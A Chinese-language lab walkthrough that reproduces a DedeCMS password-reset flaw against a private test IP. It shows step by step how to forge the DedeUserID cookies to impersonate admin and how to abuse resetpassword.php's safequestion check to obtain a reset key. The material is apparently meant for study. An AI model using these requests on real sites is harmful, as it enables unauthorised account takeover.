dedecms前台任意用户密码修改

首先，访问dedecms前台登入

这个需要账号和密码才能登入，所以去注册一个新的用户，去访问http://10.10.10.140/member/index_do.php?fmdo=user&dopost=regnew

完成个人信息的填写，用户名为0000001，登入密码为123456，安全问题不需要填写，点击完善信息，即完成注册

回到http://10.10.10.140/member/，登入刚才注册的账号

登入成功后，访问http://10.10.10.140/member/index.php?uid=0000001，即个人空间的访问

打开F12，选择应用程序，点击Cookie，修改DedeUserID为用户名0000001，将last_vid__ckMd5的值赋给DedeUserID__ckMd5，

之后再次访问http://10.10.10.140/member/，此时账户将从0000001账户变到admin账户

这时，打开bp代理抓包，访问http://10.10.10.140/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=1

然后全选，右键选择Send to Repeater，之后确保修改的DedeUserID为用户名0000001和last_vid__ckMd5的值赋给DedeUserID__ckMd5的值和之前的一样，点击send

注意http://127.0.0.1/member/resetpassword.php?dopost=getpasswd&id=1&key=gsLLKe0M，将url的127.0.0.1改为10.10.10.140，并删去两个amp;

即为http://10.10.10.140/member/resetpassword.php?dopost=getpasswd&id=1&key=gsLLKe0M，关掉bp代理并访问